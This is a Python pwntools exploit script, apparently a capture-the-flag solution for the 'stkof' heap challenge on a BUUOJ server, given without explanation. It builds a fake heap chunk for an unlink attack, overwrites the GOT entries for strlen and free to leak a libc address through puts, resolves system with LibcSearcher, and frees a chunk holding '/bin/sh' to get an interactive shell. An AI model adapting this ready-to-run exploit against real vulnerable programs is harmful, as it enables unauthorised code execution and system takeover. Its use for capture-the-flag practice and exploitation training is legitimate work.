1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * from LibcSearcher import *
sh = remote('node3.buuoj.cn',27832) elf = ELF('./stkof') strlen_got = elf.got['strlen'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] heap_ptr_addr = 0x0000000000602150
def add(size): sh.sendline('1') sh.sendline(str(size)) sh.recvuntil('OK')
def edit(index,size,content): sh.sendline('2') sh.sendline(str(index)) sh.sendline(str(size)) sh.send(content) sh.recvuntil('OK')
def delete(index): sh.sendline('3') sh.sendline(str(index)) def show(index): sh.sendline('4') sh.sendline(str(index)) sh.recvuntil('OK')
add(0x1000)
add(0x80)
add(0x80)
add(0x10) edit(4,0x8,'/bin/sh\x00')
fake_chunk = p64(0) + p64(0x81) fake_chunk += p64(heap_ptr_addr - 0x18) + p64(heap_ptr_addr - 0x10) fake_chunk = fake_chunk.ljust(0x80,'a') edit(2,0x90,fake_chunk + p64(0x80) + p64(0x90))
delete(3)
payload = p64(0) + p64(strlen_got) + p64(free_got) edit(2,0x18,payload)
edit(0,0x8,p64(puts_plt))
show(1) sh.recv(1) free_addr = u64(sh.recv(6).ljust(8,'\x00')) libc = LibcSearcher('free',free_addr) libc_base = free_addr - libc.dump('free') system_addr = libc_base + libc.dump('system') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(1,0x8,p64(system_addr))
delete(4) sh.interactive()
|